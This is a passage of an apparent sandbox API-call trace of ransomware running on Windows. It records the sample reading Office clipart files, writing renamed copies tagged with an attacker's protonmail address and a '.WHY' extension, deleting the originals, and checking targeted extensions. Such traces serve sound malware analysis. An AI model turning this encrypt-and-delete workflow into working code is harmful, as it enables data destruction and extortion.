files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.508] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=6636) returned 1 [0259.509] CloseHandle (hObject=0x3b4) returned 1 [0259.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0259.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0259.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.510] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.510] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0268.134] GetLastError () returned 0x0 [0268.134] ReadFile (in: hFile=0x3b4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x19ec, lpOverlapped=0x0) returned 1 [0268.292] WriteFile (in: hFile=0x3c4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0268.306] ReadFile (in: hFile=0x3b4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.306] WriteFile (in: hFile=0x3c4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.306] SetEndOfFile (hFile=0x3c4) returned 1 [0268.308] CloseHandle (hObject=0x3c4) returned 1 [0268.312] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.312] SetEndOfFile (hFile=0x3b4) returned 1 [0268.810] CloseHandle (hObject=0x3b4) returned 1 [0268.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0270.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0271.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0271.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0271.686] lstrlenW (lpString=".doc") returned 4 [0271.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.686] lstrlenW (lpString=".docx") returned 5 [0271.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.686] lstrlenW (lpString=".pdf") returned 4 [0271.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.686] lstrlenW (lpString=".xls") returned 4 [0271.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.686] lstrlenW (lpString=".xlsx") returned 5 [0271.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.687] lstrlenW (lpString=".ppt") returned 4 [0271.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0271.687] lstrlenW (lpString=".zip") returned 4 [0271.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.687] lstrlenW (lpString=".rar") returned 4 [0271.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.687] lstrlenW (lpString=".bz2") returned 4 [0271.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.687] lstrlenW (lpString=".7z") returned 3 [0271.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0271.687] lstrlenW (lpString=".dbf") returned 4 [0271.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0271.688] lstrlenW (lpString=".1cd") returned 4 [0271.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0271.688] lstrlenW (lpString=".jpg") returned 4 [0271.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0271.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0271.688] lstrlenW (lpString=".doc") returned 4 [0271.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.689] lstrlenW (lpString=".docx") returned 5 [0271.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.689] lstrlenW (lpString=".pdf") returned 4 [0271.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.689] lstrlenW (lpString=".xls") returned 4 [0271.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.689] lstrlenW (lpString=".xlsx") returned 5 [0271.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.689] lstrlenW (lpString=".ppt") returned 4 [0271.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0271.689] lstrlenW (lpString=".zip") returned 4 [0271.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.689] lstrlenW (lpString=".rar") returned 4 [0271.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.690] lstrlenW (lpString=".bz2") returned 4 [0271.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.690] lstrlenW (lpString=".7z") returned 3 [0271.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0271.690] lstrlenW (lpString=".dbf") returned 4 [0271.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0271.690] lstrlenW (lpString=".1cd") returned 4 [0271.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0271.690] lstrlenW (lpString=".jpg") returned 4 [0271.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.691] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0271.691] lstrlenW (lpString="AN04267_.WMF") returned 12 [0271.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0271.693] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=7804) returned 1 [0271.693] CloseHandle (hObject=0x164) returned 1 [0271.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20 [0271.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0271.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0271.694] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.694] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0271.695] GetLastError () returned 0x0 [0271.695] ReadFile (in: hFile=0x164, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0271.803] WriteFile (in: hFile=0x258, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0271.811] ReadFile (in: hFile=0x164, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.811] WriteFile (in: hFile=0x258, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.811] SetEndOfFile (hFile=0x258) returned 1 [0271.812] CloseHandle (hObject=0x258) returned 1 [0271.814] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.814] SetEndOfFile (hFile=0x164) returned 1 [0271.822] CloseHandle (hObject=0x164) returned 1 [0271.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0271.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0271.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0271.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0271.941] lstrlenW (lpString=".doc") returned 4 [0271.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.941] lstrlenW (lpString=".docx") returned 5 [0271.941] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.941] lstrlenW (lpString=".pdf") returned 4 [0271.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.941] lstrlenW (lpString=".xls") returned 4 [0271.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.941] lstrlenW (lpString=".xlsx") returned 5 [0271.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.941] lstrlenW (lpString=".ppt") returned 4 [0271.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0271.942] lstrlenW (lpString=".zip") returned 4 [0271.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.942] lstrlenW (lpString=".rar") returned 4 [0271.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.942] lstrlenW (lpString=".bz2") returned 4 [0271.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.942] lstrlenW (lpString=".7z") returned 3 [0271.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0271.942] lstrlenW (lpString=".dbf") returned 4 [0271.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0271.943] lstrlenW (lpString=".1cd") returned 4 [0271.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0271.943] lstrlenW (lpString=".jpg") returned 4 [0271.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0271.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0271.943] lstrlenW (lpString=".doc") returned 4 [0271.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.943] lstrlenW (lpString=".docx") returned 5 [0271.944] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.944] lstrlenW (lpString=".pdf") returned 4 [0271.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.944] lstrlenW (lpString=".xls") returned 4 [0271.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.944] lstrlenW (lpString=".xlsx") returned 5 [0271.944] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.944] lstrlenW (lpString=".ppt") returned 4 [0271.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0271.944] lstrlenW (lpString=".zip") returned 4 [0271.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.944] lstrlenW (lpString=".rar") returned 4 [0271.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.945] lstrlenW (lpString=".bz2") returned 4 [0271.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.945] lstrlenW (lpString=".7z") returned 3 [0271.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0271.945] lstrlenW (lpString=".dbf") returned 4 [0271.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0271.945] lstrlenW (lpString=".1cd") returned 4 [0271.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0271.945] lstrlenW (lpString=".jpg") returned 4 [0271.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.946] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0271.946] lstrlenW (lpString="AN04326_.WMF") returned 12 [0271.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0272.005] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=3348) returned 1 [0272.005] CloseHandle (hObject=0x3cc) returned 1 [0272.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0272.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0272.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0272.038] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.038] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0272.041] GetLastError () returned 0x0 [0272.042] ReadFile (in: hFile=0x38c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0xd14, lpOverlapped=0x0) returned 1 [0272.047] WriteFile (in: hFile=0x3cc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0272.050] ReadFile (in: hFile=0x38c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.050] WriteFile (in: hFile=0x3cc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.050] SetEndOfFile (hFile=0x3cc) returned 1 [0272.050] CloseHandle (hObject=0x3cc) returned 1 [0272.054] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.054] SetEndOfFile (hFile=0x38c) returned 1 [0272.061] CloseHandle (hObject=0x38c) returned 1 [0272.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0272.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0272.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0272.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0272.063] lstrlenW (lpString=".doc") returned 4 [0272.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.064] lstrlenW (lpString=".docx") returned 5 [0272.064] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.064] lstrlenW (lpString=".pdf") returned 4 [0272.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.064] lstrlenW (lpString=".xls") returned 4 [0272.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.064] lstrlenW (lpString=".xlsx") returned 5 [0272.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.064] lstrlenW (lpString=".ppt") returned 4 [0272.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0272.064] lstrlenW (lpString=".zip") returned 4 [0272.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.064] lstrlenW (lpString=".rar") returned 4 [0272.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.064] lstrlenW (lpString=".bz2") returned 4 [0272.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.065] lstrlenW (lpString=".7z") returned 3 [0272.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0272.065] lstrlenW (lpString=".dbf") returned 4 [0272.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0272.065] lstrlenW (lpString=".1cd") returned 4 [0272.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0272.065] lstrlenW (lpString=".jpg") returned 4 [0272.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0272.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0272.066] lstrlenW (lpString=".doc") returned 4 [0272.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.066] lstrlenW (lpString=".docx") returned 5 [0272.066] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.066] lstrlenW (lpString=".pdf") returned 4 [0272.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.066] lstrlenW (lpString=".xls") returned 4 [0272.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.066] lstrlenW (lpString=".xlsx") returned 5 [0272.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.066] lstrlenW (lpString=".ppt") returned 4 [0272.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0272.066] lstrlenW (lpString=".zip") returned 4 [0272.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.067] lstrlenW (lpString=".rar") returned 4 [0272.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.067] lstrlenW (lpString=".bz2") returned 4 [0272.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.067] lstrlenW (lpString=".7z") returned 3 [0272.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0272.067] lstrlenW (lpString=".dbf") returned 4 [0272.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0272.067] lstrlenW (lpString=".1cd") returned 4 [0272.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0272.068] lstrlenW (lpString=".jpg") returned 4 [0272.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.068] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0272.068] lstrlenW (lpString="AN04332_.WMF") returned 12 [0272.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0272.070] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=4296) returned 1 [0272.071] CloseHandle (hObject=0x38c) returned 1 [0272.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 0x20 